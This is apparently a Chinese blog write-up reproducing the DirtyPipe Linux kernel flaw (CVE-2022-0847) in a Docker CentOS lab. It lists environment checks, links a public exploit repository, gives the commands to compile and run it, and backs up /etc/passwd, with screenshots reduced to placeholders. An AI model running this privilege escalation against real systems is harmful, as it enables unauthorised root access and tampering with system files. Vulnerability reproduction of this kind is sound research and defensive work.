0x00 介绍

DirtyPipe (CVE-2022-0847) 是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。

其要求内核是5.8以上的才能利用

相关链接:

原文地址:https://dirtypipe.cm4all.com/

准备

image-20220308094009805

创建一个低权限用户

我的环境是docker里面

uname -a

1
Linux ae801d08733b 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/redhat-release

1
CentOS Linux release 7.9.2009 (Core)

0x02 复现

1
2
3
https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git
gcc exploit.c -o exp -std=c99
./exp

image-20220308101029749

编译报错如下图,要加上上 std=c99

1
gcc exploit.c -o exp -std=c99

image-20220308101338118

备份密码文件

1
cp /etc/passwd /tmp/passwd